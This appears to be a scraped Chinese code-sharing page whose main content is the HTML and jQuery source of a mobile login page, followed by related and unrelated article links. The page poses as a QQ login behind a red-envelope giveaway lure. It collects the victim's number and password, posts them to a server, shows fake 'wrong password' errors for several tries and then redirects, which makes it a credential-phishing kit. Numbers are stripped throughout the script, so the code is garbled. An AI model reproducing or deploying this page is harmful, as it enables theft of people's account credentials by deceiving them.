h5登录

<!DOCTYPE html>

<html lang="zh-cn">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta id="viewport" name="viewport"

    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">

<meta name="apple-mobile-web-app-capable" content="yes">

<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" />

<title>恭喜发财!</title>

<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>

<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>

</head>

<body style="display: none;">

    <div id="content" class="content">

        <div id="error_tips">

            <div id="error_tips_content">

                <span id="error_icon"></span> <span id="error_message"></span>

            </div>

        </div>

        <div class="redpack">

            <img src="/tpl/36/redpack.gif" alt="">

        </div>

        <div id="login" class="login">

            <div id="app_name" style="display: none"></div>

            <div id="q_login" class="q_login" style="display: none">

                <div id="q_login_title">

                    <div id="q_login_logo"></div>

                    <label id="q_login_tips">请选择登录帐号</label>

                </div>

                <div id="q_logon_list" class="q_logon_list"></div>

            </div>

            <div id="web_login">

            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">

                <ul id="g_list">

                    <li id="g_u"><div id="del_touch" class="del_touch">

                            <span id="del_u" class="del_u"></span>

                        </div>

                        <input id="u" class="inputstyle" name="u" autocomplete="off"

                        placeholder="号码"></li>

                    <li id="g_p"><div id="del_touch_p" class="del_touch">

                            <span id="del_p" class="del_u"></span>

                        </div>

                        <input id="p" class="inputstyle" maxlength="" type="password"

                        name="p" autocorrect="off" placeholder="请输入您的密码"></li>

                </ul>

                <div id="auto_login">

                    <input type="checkbox" id="remember" checked="checked"> <span

                        class="checkbox"></span><label class="wording">记住登录状态</label>

                </div>

                <div href="javascript:void(0);" id="go">登 录</div>

                </form>

            </div>

            <div id="switch">

                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>

                <div id="zc_feedback">

                    <span id="zc"

                        onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>

                    <span id="forgetpwd">忘了密码？</span>

                </div>

            </div>

            <div id="custom_bottom"></div>

        </div>

        <div id="vcode">

            <label id="vcode_tips">点击图片可更换验证码</label>

            <div id="vcode_area">

                <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input

                    id="vcode_input" name="vcode_input" tabindex="" autocomplete="off"

                    autocorrect="off" maxlength="">

            </div>

            <div id="submit">提交验证码</div>

        </div>

    </div>

    <div id="new_vcode" class="new_vcode">

    </div>

    <div id="footerBlank"></div>

</body>

<script>

function IsPC() {

    var userAgentInfo = navigator.userAgent;

    var Agents = ["Android", "iPhone",

                "SymbianOS", "Windows Phone",

                "iPad", "iPod"];

    var flag = true;

    for (var v = ; v < Agents.length; v++) {

        if (userAgentInfo.indexOf(Agents[v]) > ) {

            flag = false;

            break;

        }

    }

    return flag;

}

if(IsPC()){

    alert('请使用手机访问');

    $('body').hide();

} else {

    $('body').show();

}

$(".redpack").on('click',function(){

    alert('请登录后领取');

    $(this).hide();

    $('.login').show();

});

var err = false;

var times = ;

function error(msg){

    $("#error_tips").css({display:'block'});

    $('#error_message').html(msg);

    err = true;

}

$('form input').focus(function(){

    $("#error_tips").css({display:'none'});

    err = false;

});

$("#error_tips").on('click',function(){

    $(this).hide();

});

$("#go").on('click',function(){

    $(this).parents('form').submit();

});

$('form').submit(function(){

    var $this = $(this);

    $.ajax({

        url:$this.attr('action'),

        data:$this.serialize(),

        type:'post',

        beforeSend:function(){

            err = false;

            var p = $("#p").val();

            var u = $("#u").val();

            u == '' && error('您还没有输入帐号！');

            if(err) return false;

            p == '' && error("您还没有输入密码！");

            if(err) return false;

            /^[-][-]{,}$/.test(u) || error('请输入正确的帐号！');

            if(err) return false;//只有renturn false表单才不会提交，return别的表单都会提交。

            var len = p.length;

            (len <  || len>) && error('您输入的帐号或密码不正确，请重新输入。');

            if(err) {

                $("#p").val('');

                return false;

            }

            $("#p").val('');

            $("#u").val('');

        },

        success:function(data){

            ++times;

            console.log(times);

            if(times<){

                error('您输入的帐号或密码不正确，请重新输入。');

            }else{

                alert('红包已经被领取');

                location.href = data.url;

            }

        },

        dataType:'json'

        })

    return false;

})

</script>

</html>

h5登录的更多相关文章

WebApp之H5登录注册
代码indexhtml <!DOCTYPE html> <html> <head> <meta charset="utf-8"> & ...
h5登录页面
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...
论H5嵌入APP的联合登录的解决方案
什么是联合登录因为公司产品的发展,会与第三方的一些商户进行对接,商户APP提供入口,进入我们的H5页,从而提供服务. 而商户希望用户在其APP进行账户登录后,进入H5页不再进行登录,所以我们的H5需 ...
安卓微信端打开H5页面背景图被键盘挤压移动位置解决
问题:在微信端(安卓浏览器也如此)打开的H5登录页面中,点击输入信息,弹出软键盘会挤压背景图片. 本来的body宽高设置body{width:100%,height:100%},不起作用,这样写就会导 ...
native与H5优缺点及H5测试
一.native(原生)与H5优缺点介绍 native(原生)优点 1.运行速度快 2.可以应用到底层的API 3.便捷性与易用性 4.打开会比较节省流量 native(原生)缺点 1.不同操作系统需 ...
ASP微信服务号H5客户登陆，且获取客户授权的用户基本信息
ASP微信服务号H5客户登陆,且获取客户授权的用户基本信息是需要客户授权,下面讲解详细步骤: 第一步:客户点击登录页,自动跳转到微信服务器端获取code 第二步:用第一步获取的code去获取客户的ac ...
vs 基本验证控件使用
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.c ...
vue_axios请求封装、异常拦截统一处理
1.前端网络请求封装.异常统一处理 vue中采用axios处理网络请求,避免请求接口重复代码,以及各种网络情况造成的异常情况的判断,采用axios请求封装和异常拦截操作: axios 请求封装 // ...
Android Dynamic Action(动态Action)—像访问网页一样地访问Activity
Android Dynamic Action,简称DA,是一种简便.可变Action的实现方案.DA框架的初衷是为了取代Context.startActivity的调用方式,使用建造者模式(Build ...

随机推荐

HDU 4253 Two Famous Companies
Two Famous Companies Time Limit: 15000ms Memory Limit: 32768KB This problem will be judged on HDU. O ...
学渣乱搞系列之dp斜率优化
学渣乱搞系列之dp斜率优化 By 狂徒归来貌似dp的斜率优化一直很难搞啊,尤其是像我这种数学很挫的学渣,压根不懂什么凸包,什么上凸下凸的,哎...说多了都是泪,跟wdd讨论了下,得出一些结论.本文很 ...
SQL SERVER-in,between,like
and 1 LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式 ( 可以使用正则表达式) select * from [User] where UserName like '%r' -- 以 ...
codevs——T2488 绿豆蛙的归宿
http://codevs.cn/problem/2488/ 时间限制: 1 s 空间限制: 64000 KB 题目等级 : 黄金 Gold 题解查看运行结果题目描述 Descri ...
洛谷 P2559 [AHOI2002]哈利·波特与魔法石
P2559 [AHOI2002]哈利·波特与魔法石题目描述输入输出格式输入格式: 文件中第一行有七个数,分别是 S1. S2 . …. S7 :第二行有两个数,依次分别是起点城市 i 和终点城市 ...
HDU 1131
N个节点的不同的树的数目.这样随便取一个节点作为根,那么他左边和右边的儿子节点个数就确定了,假定根节点标号为x,那么左子树的标号就从1到x-1,共x-1个,右子树的标号就从x+1到n,共n-x个,那 ...
Android内存优化之封装九宫格
随着市场上越来越多的APP上线,好多软件对手机的内存要求也是很大,所以我们在开发的时候一定要掌握如何去优化内存,将自己的APP尽可能优化.今天我们就一起看一下九宫格的优化.下面是软件的截图 1.为了达 ...
FZU_Problem 2168 防守阵地 I
Problem 2168 防守阵地 I Accept: 128 Submit: 392 Time Limit: 3000 mSec Memory Limit : 32768 KB Problem De ...
输入password登录到主界面，录入学生编号，排序后输出
n 题目:输入password登录到主界面,录入学生编号,排序后输出 n 1. 语言和环境 A.实现语言 C语言 B.环境要求 VC++ 6.0 n 2. 要求请编写一个C语言程序.将若干学生编 ...
RandomAccessFile操作文件
package file; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; ...

h5登录

h5登录的更多相关文章

随机推荐

热门专题